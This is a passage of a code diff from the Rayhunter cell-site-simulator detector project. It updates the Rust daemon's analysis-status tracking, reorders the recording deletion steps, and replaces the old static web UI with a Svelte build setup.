If you're having issues installing or using Rayhunter, please open an issue in this repo. Join us in the `#rayhunter` channel of [EFF's Mattermost](https://opensource.eff.org/signup_user_complete/?id=r1b6cnta9bysxk6im3kuabiu1y&md=link&sbr=su) instance to chat!
|
|
||||||
|
|
||||||
**LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program.
|
|
||||||
|
|
||||||
*Good Hunting!*
|
|
||||||
|
|||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "rayhunter-daemon"
|
name = "rayhunter-daemon"
|
||||||
version = "0.2.8"
|
version = "0.3.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[features]
|
[features]
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 1.2 KiB After Width: | Height: | Size: 1.2 KiB |
|
Before Width: | Height: | Size: 88 KiB After Width: | Height: | Size: 88 KiB |
+27
-4
@@ -80,14 +80,32 @@ impl AnalysisWriter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Serialize, Clone, Default)]
|
#[derive(Debug, Serialize, Clone)]
|
||||||
pub struct AnalysisStatus {
|
pub struct AnalysisStatus {
|
||||||
queued: Vec<String>,
|
queued: Vec<String>,
|
||||||
running: Option<String>,
|
running: Option<String>,
|
||||||
|
finished: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AnalysisStatus {
|
||||||
|
pub fn new(store: &RecordingStore) -> Self {
|
||||||
|
let existing_recordings: Vec<String> = store
|
||||||
|
.manifest
|
||||||
|
.entries
|
||||||
|
.iter()
|
||||||
|
.map(|entry| entry.name.clone())
|
||||||
|
.collect();
|
||||||
|
AnalysisStatus {
|
||||||
|
queued: Vec::new(),
|
||||||
|
running: None,
|
||||||
|
finished: existing_recordings,
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub enum AnalysisCtrlMessage {
|
pub enum AnalysisCtrlMessage {
|
||||||
NewFilesQueued,
|
NewFilesQueued,
|
||||||
|
RecordingFinished(String),
|
||||||
Exit,
|
Exit,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -103,9 +121,10 @@ async fn dequeue_to_running(analysis_status_lock: Arc<RwLock<AnalysisStatus>>) -
|
|||||||
name
|
name
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn clear_running(analysis_status_lock: Arc<RwLock<AnalysisStatus>>) {
|
async fn finish_running_analysis(analysis_status_lock: Arc<RwLock<AnalysisStatus>>) {
|
||||||
let mut analysis_status = analysis_status_lock.write().await;
|
let mut analysis_status = analysis_status_lock.write().await;
|
||||||
analysis_status.running = None;
|
let finished = analysis_status.running.take().unwrap();
|
||||||
|
analysis_status.finished.push(finished);
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn perform_analysis(
|
async fn perform_analysis(
|
||||||
@@ -191,9 +210,13 @@ pub fn run_analysis_thread(
|
|||||||
{
|
{
|
||||||
error!("failed to analyze {}: {}", name, err);
|
error!("failed to analyze {}: {}", name, err);
|
||||||
}
|
}
|
||||||
clear_running(analysis_status_lock.clone()).await;
|
finish_running_analysis(analysis_status_lock.clone()).await;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Some(AnalysisCtrlMessage::RecordingFinished(name)) => {
|
||||||
|
let mut status = analysis_status_lock.write().await;
|
||||||
|
status.finished.push(name);
|
||||||
|
}
|
||||||
Some(AnalysisCtrlMessage::Exit) | None => return,
|
Some(AnalysisCtrlMessage::Exit) | None => return,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-4
@@ -32,7 +32,11 @@ struct Args {
|
|||||||
verbose: bool,
|
verbose: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn analyze_file(harness: &mut Harness, qmdl_path: &str, show_skipped: bool) {
|
async fn analyze_file(enable_dummy_analyzer: bool, qmdl_path: &str, show_skipped: bool) {
|
||||||
|
let mut harness = Harness::new_with_all_analyzers();
|
||||||
|
if enable_dummy_analyzer {
|
||||||
|
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
|
||||||
|
}
|
||||||
let qmdl_file = &mut File::open(&qmdl_path).await.expect("failed to open file");
|
let qmdl_file = &mut File::open(&qmdl_path).await.expect("failed to open file");
|
||||||
let file_size = qmdl_file
|
let file_size = qmdl_file
|
||||||
.metadata()
|
.metadata()
|
||||||
@@ -135,12 +139,12 @@ async fn main() {
|
|||||||
.with_level(level)
|
.with_level(level)
|
||||||
.init()
|
.init()
|
||||||
.unwrap();
|
.unwrap();
|
||||||
|
info!("Analyzers:");
|
||||||
|
|
||||||
let mut harness = Harness::new_with_all_analyzers();
|
let mut harness = Harness::new_with_all_analyzers();
|
||||||
if args.enable_dummy_analyzer {
|
if args.enable_dummy_analyzer {
|
||||||
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
|
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
|
||||||
}
|
}
|
||||||
info!("Analyzers:");
|
|
||||||
for analyzer in harness.get_metadata().analyzers {
|
for analyzer in harness.get_metadata().analyzers {
|
||||||
info!(" - {}: {}", analyzer.name, analyzer.description);
|
info!(" - {}: {}", analyzer.name, analyzer.description);
|
||||||
}
|
}
|
||||||
@@ -156,7 +160,7 @@ async fn main() {
|
|||||||
if name_str.ends_with(".qmdl") {
|
if name_str.ends_with(".qmdl") {
|
||||||
let path = entry.path();
|
let path = entry.path();
|
||||||
let path_str = path.to_str().unwrap();
|
let path_str = path.to_str().unwrap();
|
||||||
analyze_file(&mut harness, path_str, args.show_skipped).await;
|
analyze_file(args.enable_dummy_analyzer, path_str, args.show_skipped).await;
|
||||||
if args.pcapify {
|
if args.pcapify {
|
||||||
pcapify(&path).await;
|
pcapify(&path).await;
|
||||||
}
|
}
|
||||||
@@ -164,7 +168,7 @@ async fn main() {
|
|||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
let path = args.qmdl_path.to_str().unwrap();
|
let path = args.qmdl_path.to_str().unwrap();
|
||||||
analyze_file(&mut harness, path, args.show_skipped).await;
|
analyze_file(args.enable_dummy_analyzer, path, args.show_skipped).await;
|
||||||
if args.pcapify {
|
if args.pcapify {
|
||||||
pcapify(&args.qmdl_path).await;
|
pcapify(&args.qmdl_path).await;
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-2
@@ -172,7 +172,9 @@ async fn main() -> Result<(), RayhunterError> {
|
|||||||
let task_tracker = TaskTracker::new();
|
let task_tracker = TaskTracker::new();
|
||||||
println!("R A Y H U N T E R 🐳");
|
println!("R A Y H U N T E R 🐳");
|
||||||
|
|
||||||
let qmdl_store_lock = Arc::new(RwLock::new(init_qmdl_store(&config).await?));
|
let store = init_qmdl_store(&config).await?;
|
||||||
|
let analysis_status = AnalysisStatus::new(&store);
|
||||||
|
let qmdl_store_lock = Arc::new(RwLock::new(store));
|
||||||
let (tx, rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
|
let (tx, rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
|
||||||
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
|
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
|
||||||
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
|
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
|
||||||
@@ -201,7 +203,7 @@ async fn main() -> Result<(), RayhunterError> {
|
|||||||
}
|
}
|
||||||
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
|
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
|
||||||
info!("create shutdown thread");
|
info!("create shutdown thread");
|
||||||
let analysis_status_lock = Arc::new(RwLock::new(AnalysisStatus::default()));
|
let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
|
||||||
run_analysis_thread(
|
run_analysis_thread(
|
||||||
&task_tracker,
|
&task_tracker,
|
||||||
analysis_rx,
|
analysis_rx,
|
||||||
|
|||||||
+25
-8
@@ -17,7 +17,7 @@ use tokio::sync::RwLock;
|
|||||||
use tokio_util::io::ReaderStream;
|
use tokio_util::io::ReaderStream;
|
||||||
use tokio_util::task::TaskTracker;
|
use tokio_util::task::TaskTracker;
|
||||||
|
|
||||||
use crate::analysis::AnalysisWriter;
|
use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
|
||||||
use crate::display;
|
use crate::display;
|
||||||
use crate::qmdl_store::{RecordingStore, RecordingStoreError};
|
use crate::qmdl_store::{RecordingStore, RecordingStoreError};
|
||||||
use crate::server::ServerState;
|
use crate::server::ServerState;
|
||||||
@@ -169,6 +169,23 @@ pub async fn stop_recording(
|
|||||||
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
|
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
|
||||||
}
|
}
|
||||||
let mut qmdl_store = state.qmdl_store_lock.write().await;
|
let mut qmdl_store = state.qmdl_store_lock.write().await;
|
||||||
|
match qmdl_store.get_current_entry() {
|
||||||
|
Some((_, entry)) => {
|
||||||
|
state
|
||||||
|
.analysis_sender
|
||||||
|
.send(AnalysisCtrlMessage::RecordingFinished(
|
||||||
|
entry.name.to_string(),
|
||||||
|
))
|
||||||
|
.await
|
||||||
|
.map_err(|e| {
|
||||||
|
(
|
||||||
|
StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
|
format!("couldn't send AnalysisCtrlMessage: {}", e),
|
||||||
|
)
|
||||||
|
})?;
|
||||||
|
}
|
||||||
|
None => todo!(),
|
||||||
|
}
|
||||||
qmdl_store.close_current_entry().await.map_err(|e| {
|
qmdl_store.close_current_entry().await.map_err(|e| {
|
||||||
(
|
(
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
@@ -250,13 +267,6 @@ pub async fn delete_all_recordings(
|
|||||||
if state.debug_mode {
|
if state.debug_mode {
|
||||||
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
|
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
|
||||||
}
|
}
|
||||||
let mut qmdl_store = state.qmdl_store_lock.write().await;
|
|
||||||
qmdl_store.delete_all_entries().await.map_err(|e| {
|
|
||||||
(
|
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
|
||||||
format!("couldn't delete all recordings: {}", e),
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
state
|
state
|
||||||
.diag_device_ctrl_sender
|
.diag_device_ctrl_sender
|
||||||
.send(DiagDeviceCtrlMessage::StopRecording)
|
.send(DiagDeviceCtrlMessage::StopRecording)
|
||||||
@@ -267,6 +277,13 @@ pub async fn delete_all_recordings(
|
|||||||
format!("couldn't send stop recording message: {}", e),
|
format!("couldn't send stop recording message: {}", e),
|
||||||
)
|
)
|
||||||
})?;
|
})?;
|
||||||
|
let mut qmdl_store = state.qmdl_store_lock.write().await;
|
||||||
|
qmdl_store.delete_all_entries().await.map_err(|e| {
|
||||||
|
(
|
||||||
|
StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
|
format!("couldn't delete all recordings: {}", e),
|
||||||
|
)
|
||||||
|
})?;
|
||||||
state
|
state
|
||||||
.ui_update_sender
|
.ui_update_sender
|
||||||
.send(display::DisplayState::Paused)
|
.send(display::DisplayState::Paused)
|
||||||
|
|||||||
@@ -134,7 +134,7 @@ pub fn update_ui(
|
|||||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||||
mut ui_update_rx: Receiver<DisplayState>,
|
mut ui_update_rx: Receiver<DisplayState>,
|
||||||
) {
|
) {
|
||||||
static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/static/images/");
|
static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/images/");
|
||||||
let display_level = config.ui_level;
|
let display_level = config.ui_level;
|
||||||
if display_level == 0 {
|
if display_level == 0 {
|
||||||
info!("Invisible mode, not spawning UI.");
|
info!("Invisible mode, not spawning UI.");
|
||||||
|
|||||||
+2
-34
@@ -6,7 +6,6 @@ use axum::http::{HeaderValue, StatusCode};
|
|||||||
use axum::response::{IntoResponse, Response};
|
use axum::response::{IntoResponse, Response};
|
||||||
use include_dir::{include_dir, Dir};
|
use include_dir::{include_dir, Dir};
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use tokio::fs::File;
|
|
||||||
use tokio::io::AsyncReadExt;
|
use tokio::io::AsyncReadExt;
|
||||||
use tokio::sync::mpsc::Sender;
|
use tokio::sync::mpsc::Sender;
|
||||||
use tokio::sync::RwLock;
|
use tokio::sync::RwLock;
|
||||||
@@ -53,46 +52,15 @@ pub async fn get_qmdl(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Bundles the server's static files (html/css/js) into the binary for easy distribution
|
// Bundles the server's static files (html/css/js) into the binary for easy distribution
|
||||||
static STATIC_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/static");
|
static STATIC_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/web/build");
|
||||||
|
|
||||||
pub async fn serve_static(
|
pub async fn serve_static(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(_): State<Arc<ServerState>>,
|
||||||
Path(path): Path<String>,
|
Path(path): Path<String>,
|
||||||
) -> impl IntoResponse {
|
) -> impl IntoResponse {
|
||||||
let path = path.trim_start_matches('/');
|
let path = path.trim_start_matches('/');
|
||||||
let mime_type = mime_guess::from_path(path).first_or_text_plain();
|
let mime_type = mime_guess::from_path(path).first_or_text_plain();
|
||||||
|
|
||||||
// if we're in debug mode, return the files from the build directory so we
|
|
||||||
// don't have to rebuild every time the JS/HTML change
|
|
||||||
if state.debug_mode {
|
|
||||||
let mut build_path = std::path::PathBuf::new();
|
|
||||||
build_path.push("bin");
|
|
||||||
build_path.push("static");
|
|
||||||
for part in path.split("/") {
|
|
||||||
build_path.push(part);
|
|
||||||
}
|
|
||||||
return match File::open(build_path).await {
|
|
||||||
Ok(mut file) => {
|
|
||||||
let mut body = String::new();
|
|
||||||
file.read_to_string(&mut body)
|
|
||||||
.await
|
|
||||||
.expect("failed to read file");
|
|
||||||
Response::builder()
|
|
||||||
.status(StatusCode::OK)
|
|
||||||
.header(
|
|
||||||
header::CONTENT_TYPE,
|
|
||||||
HeaderValue::from_str(mime_type.as_ref()).unwrap(),
|
|
||||||
)
|
|
||||||
.body(Body::from(body))
|
|
||||||
.unwrap()
|
|
||||||
}
|
|
||||||
Err(_) => Response::builder()
|
|
||||||
.status(StatusCode::NOT_FOUND)
|
|
||||||
.body(Body::empty())
|
|
||||||
.unwrap(),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
match STATIC_DIR.get_file(path) {
|
match STATIC_DIR.get_file(path) {
|
||||||
None => Response::builder()
|
None => Response::builder()
|
||||||
.status(StatusCode::NOT_FOUND)
|
.status(StatusCode::NOT_FOUND)
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ use axum::extract::State;
|
|||||||
use axum::http::StatusCode;
|
use axum::http::StatusCode;
|
||||||
use axum::Json;
|
use axum::Json;
|
||||||
use log::error;
|
use log::error;
|
||||||
|
use rayhunter::util::RuntimeMetadata;
|
||||||
use serde::Serialize;
|
use serde::Serialize;
|
||||||
use tokio::process::Command;
|
use tokio::process::Command;
|
||||||
|
|
||||||
@@ -14,6 +15,7 @@ use tokio::process::Command;
|
|||||||
pub struct SystemStats {
|
pub struct SystemStats {
|
||||||
pub disk_stats: DiskStats,
|
pub disk_stats: DiskStats,
|
||||||
pub memory_stats: MemoryStats,
|
pub memory_stats: MemoryStats,
|
||||||
|
pub runtime_metadata: RuntimeMetadata,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl SystemStats {
|
impl SystemStats {
|
||||||
@@ -21,6 +23,7 @@ impl SystemStats {
|
|||||||
Ok(Self {
|
Ok(Self {
|
||||||
disk_stats: DiskStats::new(qmdl_path).await?,
|
disk_stats: DiskStats::new(qmdl_path).await?,
|
||||||
memory_stats: MemoryStats::new().await?,
|
memory_stats: MemoryStats::new().await?,
|
||||||
|
runtime_metadata: RuntimeMetadata::new(),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,45 +0,0 @@
|
|||||||
td,
|
|
||||||
th {
|
|
||||||
border: 1px solid rgb(190, 190, 190);
|
|
||||||
padding: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
td {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
tr:nth-child(even) {
|
|
||||||
background-color: #eee;
|
|
||||||
}
|
|
||||||
|
|
||||||
th[scope='col'] {
|
|
||||||
background-color: #696969;
|
|
||||||
color: #fff;
|
|
||||||
}
|
|
||||||
|
|
||||||
th[scope='row'] {
|
|
||||||
background-color: #d7d9f2;
|
|
||||||
}
|
|
||||||
|
|
||||||
tr.current {
|
|
||||||
background-color: #53fe7b;
|
|
||||||
font-weight: bold;
|
|
||||||
}
|
|
||||||
|
|
||||||
tr.warning {
|
|
||||||
background-color: #fe537b;
|
|
||||||
font-weight: bold;
|
|
||||||
}
|
|
||||||
|
|
||||||
caption {
|
|
||||||
padding: 10px;
|
|
||||||
caption-side: bottom;
|
|
||||||
}
|
|
||||||
|
|
||||||
table {
|
|
||||||
border-collapse: collapse;
|
|
||||||
border: 2px solid rgb(200, 200, 200);
|
|
||||||
letter-spacing: 1px;
|
|
||||||
font-family: sans-serif;
|
|
||||||
font-size: 0.8rem;
|
|
||||||
}
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<title>rayhunter</title>
|
|
||||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
|
||||||
<script src="js/main.js"></script>
|
|
||||||
<script>
|
|
||||||
async function repeatedlyPopulate() {
|
|
||||||
await populateDivs();
|
|
||||||
setTimeout(repeatedlyPopulate, 1000);
|
|
||||||
}
|
|
||||||
window.onload = function() {
|
|
||||||
repeatedlyPopulate();
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div>
|
|
||||||
<button onclick="startRecording()">Start Recording</button>
|
|
||||||
<button onclick="stopRecording()">Stop Recording</button>
|
|
||||||
<button onclick="deleteAllRecodings()">Delete All Recordings</button>
|
|
||||||
</div>
|
|
||||||
<table id="qmdl-manifest-table">
|
|
||||||
<thead>
|
|
||||||
<tr>
|
|
||||||
<th scope="col">Name</th>
|
|
||||||
<th scope="col">Date Started</th>
|
|
||||||
<th scope="col">Date of Last Message</th>
|
|
||||||
<th scope="col">Size (bytes)</th>
|
|
||||||
<th scope="col">PCAP</th>
|
|
||||||
<th scope="col">QMDL</th>
|
|
||||||
<th scope="col">Analysis Result</th>
|
|
||||||
<th scope="col">Actions</th>
|
|
||||||
</tr>
|
|
||||||
</thead>
|
|
||||||
</table>
|
|
||||||
<div>
|
|
||||||
<h3>Live System stats</h3>
|
|
||||||
<pre id="system-stats">Loading...</pre>
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<h3>Analysis Report of Current Capture</h3>
|
|
||||||
<pre id="analysis-report">Loading...</pre>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@@ -1,235 +0,0 @@
|
|||||||
const STATUS_RUNNING = 'running';
|
|
||||||
const STATUS_QUEUED = 'queued';
|
|
||||||
const STATUS_NEEDS_UPDATE = 'needs-update';
|
|
||||||
const STATUS_COMPLETE = 'complete';
|
|
||||||
|
|
||||||
async function populateDivs() {
|
|
||||||
const systemStats = await getSystemStats();
|
|
||||||
const systemStatsDiv = document.getElementById('system-stats');
|
|
||||||
systemStatsDiv.innerHTML = JSON.stringify(systemStats, null, 2);
|
|
||||||
|
|
||||||
const analysisReportDiv = document.getElementById('analysis-report');
|
|
||||||
try {
|
|
||||||
const analysisReport = await getAnalysisReport('live');
|
|
||||||
analysisReportDiv.innerHTML = JSON.stringify(analysisReport, null, 2);
|
|
||||||
} catch (e) {
|
|
||||||
analysisReportDiv.innerHTML = e.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
const qmdlManifest = await getQmdlManifest();
|
|
||||||
await updateAnalysisStatus(qmdlManifest);
|
|
||||||
await updateAnalysisResults(qmdlManifest);
|
|
||||||
updateQmdlManifestTable(qmdlManifest);
|
|
||||||
}
|
|
||||||
|
|
||||||
function setStatus(qmdlManifest, name, status) {
|
|
||||||
// ignore qmdlManifest.current_entry, it's always running
|
|
||||||
for (const entry of qmdlManifest.entries) {
|
|
||||||
if (entry.name === name) {
|
|
||||||
entry['status'] = status;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async function updateAnalysisStatus(qmdlManifest) {
|
|
||||||
const status = JSON.parse(await req('GET', '/api/analysis'));
|
|
||||||
if (status.running) {
|
|
||||||
setStatus(qmdlManifest, status.running, STATUS_RUNNING);
|
|
||||||
}
|
|
||||||
for (const queued in status.queued) {
|
|
||||||
setStatus(qmdlManifest, queued, STATUS_QUEUED);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function parseNewlineDelimitedJSON(inputStr) {
|
|
||||||
const lines = inputStr.split('\n');
|
|
||||||
const result = [];
|
|
||||||
let currentLine = '';
|
|
||||||
while (lines.length > 0) {
|
|
||||||
currentLine += lines.shift();
|
|
||||||
try {
|
|
||||||
const entry = JSON.parse(currentLine);
|
|
||||||
result.push(entry);
|
|
||||||
currentLine = '';
|
|
||||||
// if this chunk wasn't valid JSON, there was an escaped newline in the
|
|
||||||
// JSON line, so simply continue to the next one
|
|
||||||
} catch (e) {}
|
|
||||||
}
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
async function updateEntryAnalysisResult(entry) {
|
|
||||||
entry.analysis = {
|
|
||||||
warnings: [],
|
|
||||||
};
|
|
||||||
const report = parseNewlineDelimitedJSON(await req('GET', `/api/analysis-report/${entry.name}`));
|
|
||||||
for (const row of report) {
|
|
||||||
if (row["analysis"]) {
|
|
||||||
const timestamp = new Date(row["timestamp"]);
|
|
||||||
const analysis = row["analysis"];
|
|
||||||
for (const warning of analysis) {
|
|
||||||
entry.analysis.warnings.push({
|
|
||||||
timestamp,
|
|
||||||
warning,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (entry.analysis.warnings.length === 0) {
|
|
||||||
entry.analysis_result = `0 warnings!`;
|
|
||||||
} else {
|
|
||||||
entry.analysis_result = `!!! ${entry.analysis.warnings.length} warnings !!!`;
|
|
||||||
for (const warning of entry.analysis.warnings) {
|
|
||||||
for (const event of warning.warning.events) {
|
|
||||||
if (event === null) continue;
|
|
||||||
msg = `${warning.timestamp}: ${event.message}`
|
|
||||||
entry.analysis_result += `<br>${msg}`
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async function updateAnalysisResults(qmdlManifest) {
|
|
||||||
if (qmdlManifest.current_entry) {
|
|
||||||
await updateEntryAnalysisResult(qmdlManifest.current_entry);
|
|
||||||
}
|
|
||||||
for (const entry of qmdlManifest.entries) {
|
|
||||||
if (entry.status === STATUS_NEEDS_UPDATE) {
|
|
||||||
await updateEntryAnalysisResult(entry);
|
|
||||||
entry.status = STATUS_COMPLETE;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function updateQmdlManifestTable(manifest) {
|
|
||||||
const table = document.getElementById('qmdl-manifest-table');
|
|
||||||
const numRows = table.rows.length;
|
|
||||||
for (let i=1; i<numRows; i++) {
|
|
||||||
table.deleteRow(1);
|
|
||||||
}
|
|
||||||
if (manifest.current_entry) {
|
|
||||||
const row = createEntryRow(manifest.current_entry, true);
|
|
||||||
row.classList.add('current');
|
|
||||||
table.appendChild(row)
|
|
||||||
}
|
|
||||||
for (let entry of manifest.entries) {
|
|
||||||
table.appendChild(createEntryRow(entry), false);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function createLink(uri, text) {
|
|
||||||
const link = document.createElement('a');
|
|
||||||
link.href = uri;
|
|
||||||
link.innerText = text;
|
|
||||||
return link;
|
|
||||||
}
|
|
||||||
|
|
||||||
function createButton(uri, text) {
|
|
||||||
const link = document.createElement('button');
|
|
||||||
link.innerText = text;
|
|
||||||
link.onclick = async () => {
|
|
||||||
await req('POST', uri);
|
|
||||||
populateDivs();
|
|
||||||
};
|
|
||||||
return link;
|
|
||||||
}
|
|
||||||
|
|
||||||
function createEntryRow(entry, isCurrent) {
|
|
||||||
const row = document.createElement('tr');
|
|
||||||
const name = document.createElement('th');
|
|
||||||
name.scope = 'row';
|
|
||||||
name.innerText = entry.name;
|
|
||||||
row.appendChild(name);
|
|
||||||
|
|
||||||
for (const key of ['start_time', 'last_message_time', 'qmdl_size_bytes']) {
|
|
||||||
const td = document.createElement('td');
|
|
||||||
td.innerText = entry[key];
|
|
||||||
row.appendChild(td);
|
|
||||||
}
|
|
||||||
|
|
||||||
const pcapTd = document.createElement('td');
|
|
||||||
pcapTd.appendChild(createLink(`/api/pcap/${entry.name}`, 'pcap'));
|
|
||||||
row.appendChild(pcapTd);
|
|
||||||
|
|
||||||
const qmdlTd = document.createElement('td');
|
|
||||||
qmdlTd.appendChild(createLink(`/api/qmdl/${entry.name}.qmdl`, 'qmdl'));
|
|
||||||
row.appendChild(qmdlTd);
|
|
||||||
|
|
||||||
const analysisResult = document.createElement('td');
|
|
||||||
analysisResult.innerHTML = entry.analysis_result;
|
|
||||||
if (entry.analysis.warnings.length > 0) {
|
|
||||||
row.classList.add("warning");
|
|
||||||
}
|
|
||||||
row.appendChild(analysisResult);
|
|
||||||
|
|
||||||
const actionsButtons = document.createElement('td');
|
|
||||||
actionsButtons.appendChild(createButton(`/api/delete-recording/${entry.name}`, 'Delete'));
|
|
||||||
row.appendChild(actionsButtons);
|
|
||||||
|
|
||||||
return row;
|
|
||||||
}
|
|
||||||
|
|
||||||
async function getAnalysisReport(name) {
|
|
||||||
const rows = await req('GET', `/api/analysis-report/${name}`);
|
|
||||||
return rows.split('\n')
|
|
||||||
.filter(row => row.length > 0)
|
|
||||||
.map(row => JSON.parse(row));
|
|
||||||
}
|
|
||||||
|
|
||||||
async function getSystemStats() {
|
|
||||||
return JSON.parse(await req('GET', '/api/system-stats'));
|
|
||||||
}
|
|
||||||
|
|
||||||
async function getQmdlManifest() {
|
|
||||||
const manifest = JSON.parse(await req('GET', '/api/qmdl-manifest'));
|
|
||||||
if (manifest.current_entry) {
|
|
||||||
parseQmdlEntry(manifest.current_entry);
|
|
||||||
}
|
|
||||||
for (entry of manifest.entries) {
|
|
||||||
parseQmdlEntry(entry);
|
|
||||||
}
|
|
||||||
// sort them in reverse chronological order
|
|
||||||
manifest.entries.reverse();
|
|
||||||
return manifest;
|
|
||||||
}
|
|
||||||
|
|
||||||
function parseQmdlEntry(entry) {
|
|
||||||
entry.status = STATUS_NEEDS_UPDATE;
|
|
||||||
entry.analysis_result = 'Waiting...';
|
|
||||||
entry.start_time = new Date(entry.start_time);
|
|
||||||
if (entry.last_message_time === null) {
|
|
||||||
entry.last_message_time = "N/A";
|
|
||||||
} else {
|
|
||||||
entry.last_message_time = new Date(entry.last_message_time);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async function startRecording() {
|
|
||||||
await req('POST', '/api/start-recording');
|
|
||||||
populateDivs();
|
|
||||||
}
|
|
||||||
|
|
||||||
async function stopRecording() {
|
|
||||||
await req('POST', '/api/stop-recording');
|
|
||||||
populateDivs();
|
|
||||||
}
|
|
||||||
|
|
||||||
async function deleteAllRecodings() {
|
|
||||||
if (window.confirm("Are you sure you want to permanently delete all of your recordings?")) {
|
|
||||||
await req('POST', '/api/delete-all-recordings');
|
|
||||||
populateDivs();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async function req(method, url) {
|
|
||||||
const response = await fetch(url, {
|
|
||||||
method: method,
|
|
||||||
});
|
|
||||||
const body = await response.text();
|
|
||||||
if (response.status >= 200 && response.status < 300) {
|
|
||||||
return body;
|
|
||||||
} else {
|
|
||||||
throw new Error(body);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
node_modules
|
||||||
|
|
||||||
|
# Output
|
||||||
|
.output
|
||||||
|
.vercel
|
||||||
|
/.svelte-kit
|
||||||
|
/build
|
||||||
|
|
||||||
|
# OS
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
|
||||||
|
# Env
|
||||||
|
.env
|
||||||
|
.env.*
|
||||||
|
!.env.example
|
||||||
|
!.env.test
|
||||||
|
|
||||||
|
# Vite
|
||||||
|
vite.config.js.timestamp-*
|
||||||
|
vite.config.ts.timestamp-*
|
||||||
|
|
||||||
|
package-lock.json
|
||||||
|
yarn.lock
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
engine-strict=true
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
# Package Managers
|
||||||
|
package-lock.json
|
||||||
|
pnpm-lock.yaml
|
||||||
|
yarn.lock
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
{
|
||||||
|
"useTabs": true,
